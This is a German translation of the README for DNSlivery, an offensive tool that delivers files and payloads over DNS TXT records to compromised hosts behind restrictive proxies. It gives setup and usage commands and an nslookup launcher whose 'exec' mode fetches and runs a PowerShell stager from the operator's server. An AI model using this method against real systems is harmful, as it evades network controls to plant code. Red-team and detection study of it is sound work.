
Einfache Datei- und Payload-Zustellung über DNS
Einfache Bereitstellung von Dateien und Payloads über DNS.
Dieses Projekt wurde ursprünglich von PowerDNS und dem technischen Segment von Joff Thyer im Paul's Security Weekly Podcast #590 (youtu.be/CP6cIwFJswQ) inspiriert.
DNSlivery ermöglicht die Bereitstellung von Dateien auf einem Zielsystem unter Verwendung von DNS als Transportprotokoll.
Funktionen:

Einfache Bereitstellung von Dateien und/oder Payloads auf einem kompromittierten Zielsystem, wenn eine klassische Web-Bereitstellung nicht möglich ist und ohne die Notwendigkeit einer dedizierten Client-Software. Dies gilt für eingeschränkte Umgebungen, in denen ausgehender Webverkehr verboten oder lediglich von einem neugierigen Web-Proxy überprüft wird.

Obwohl bereits vollständigere DNS-Tunneling-Werkzeuge existieren (z. B. dnscat2 und iodine), erfordern sie alle die Ausführung eines dedizierten Clients auf dem Zielsystem. Das Problem ist, dass es in solchen eingeschränkten Umgebungen wahrscheinlich keinen anderen Weg als DNS gibt, um den Client zu liefern. Mit anderen Worten: Der Aufbau eines DNS-Kommunikationskanals mit diesen Werkzeugen erfordert bereits einen DNS-Kommunikationskanal.
Im Vergleich dazu bietet DNSlivery nur eine Einweg-Kommunikation von Ihrem Server zum Zielsystem, benötigt dafür jedoch keinen dedizierten Client. Wenn Sie also einen zuverlässigen Zweiweg-Kommunikationskanal über DNS aufbauen müssen, verwenden Sie DNSlivery, um den Client eines fortschrittlicheren DNS-Tunneling-Werkzeugs an Ihr Zielsystem zu liefern.
Wie die meisten DNS-Tunneling-Werkzeuge verwendet DNSlivery TXT-Datensätze, um den Inhalt von Dateien in ihrer Base64-Darstellung zu speichern. Für den Betrieb ist jedoch kein vollwertiger DNS-Server erforderlich. Stattdessen wird die scapy-Bibliothek verwendet, um eingehende DNS-Pakete abzuhören und die gewünschte Antwort zu erstellen.

Da die meisten Dateien nicht in einen einzelnen TXT-Datensatz passen, erstellt DNSlivery mehrere geordnete Datensätze, die Base64-Blöcke der Datei enthalten. Als Beispiel veranschaulicht das obige Diagramm die Bereitstellung des 42sten Blocks der Datei namens file.
Um alle Base64-Blöcke abzurufen und ohne einen dedizierten Client auf dem Zielsystem wieder zusammenzusetzen, generiert DNSlivery für jede Datei:

Dieser zweistufige Bereitstellungsprozess ist erforderlich, um dem Stager Funktionen hinzuzufügen (z. B. die Behandlung verlorener DNS-Antworten), die sonst nicht in einen einzelnen TXT-Datensatz passen würden.
Derzeit werden nur PowerShell-Zielsysteme unterstützt. DNSlivery könnte jedoch erweitert werden, um zusätzliche Zielsysteme wie bash oder python zu unterstützen. Bitte lassen Sie mich @no0be wissen, ob dies eine Funktion ist, die Sie implementiert sehen möchten.
DNSlivery erfordert keinen Aufbau einer komplexen Server-Infrastruktur. Tatsächlich gibt es nur zwei einfache Anforderungen:
NS-Datensatz in Ihrer öffentlichen DNS-Zone zu erstellenudp/53-Verkehr aus dem Internet zu empfangenDer erste Schritt besteht darin, eine Sub-Domain an den Server zu delegieren, der DNSlivery ausführen wird, indem ein neuer NS-Datensatz in Ihrer Domain erstellt wird. Als Beispiel habe ich den folgenden Datensatz erstellt, um die Sub-Domain dnsd.no0.be an den Server unter vps.no0.be zu delegieren.
dnsd IN NS vps.no0.be.
Wenn Ihre Zone von einem Drittanbieter verwaltet wird, lesen Sie dessen Dokumentation zur Erstellung des NS-Datensatzes.
Die einzigen Anforderungen für die Ausführung von DNSlivery sind python3 und dessen scapy-Bibliothek.
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt
DNSlivery stellt alle Dateien eines bestimmten Verzeichnisses bereit (standardmäßig pwd) und muss mit Root-Rechten ausgeführt werden, um eingehende udp/53-Pakete abzuhören.
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
DNSlivery - Einfache Bereitstellung von Dateien und Payloads über DNS
positional arguments:
interface Schnittstelle zum Abhören von DNS-Verkehr
domain FQDN-Name der DNS-Zone
nameserver FQDN-Name des Servers, der DNSlivery ausführt
optional arguments:
-h, --help Diese Hilfemeldung anzeigen und beenden
-p PATH, --path PATH Pfad des Verzeichnisses, das über DNS bereitgestellt wird (Standard: pwd)
-s SIZE, --size SIZE Größe der Base64-Blöcke in Bytes (Standard: 255)
-v, --verbose Ausführlichkeit erhöhen
Beispiel:
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
DNSlivery - Einfache Bereitstellung von Dateien und Payloads über DNS
[*] Datei "file" bereit zur Bereitstellung unter file.dnsd.no0.be (7 Blöcke)
[*] Warte auf DNS-Abfragen...
Da der für Domainnamen zulässige Zeichensatz wesentlich restriktiver ist als für UNIX-Dateinamen (gemäß RFC1035), führt DNSlivery bei Bedarf eine Normalisierung durch.
Beispiel:
[*] Datei "My Awesome Powershell Script ;).ps1" bereit zur Bereitstellung unter my-awesome-powershell-script----ps1.dnsd.no0.be (1891 Blöcke)
Beachten Sie, dass der aktuelle Normalisierungscode nicht perfekt ist, da er überlappende Dateinamen oder Größenbeschränkungen nicht berücksichtigt.
Beginnen Sie auf dem Zielsystem mit dem Abrufen des Launchers der gewünschten Datei, indem Sie dessen dedizierten TXT-Datensatz anfordern. Die folgenden drei Launcher werden unterstützt:
nslookup -type=txt [dateiname].[stager].[domain]
Kopieren Sie dann einfach den in der DNS-Antwort angegebenen Launcher und fügen Sie ihn in eine PowerShell-Konsole ein, um die Datei auf dem Zielsystem abzurufen.
Beispiel:

| Aktion | Launcher | Beschreibung |
|---|
| Anzeigen | [dateiname].print.[domain] | (Standard) Die bereitgestellte Datei in der Konsole anzeigen |
| Ausführen | [dateiname].exec.[domain] | Die bereitgestellte Datei ausführen (nützlich für Skripte) |
| Speichern | [dateiname].save.[domain] | Die bereitgestellte Datei auf der Festplatte speichern (nützlich für Binärdateien) |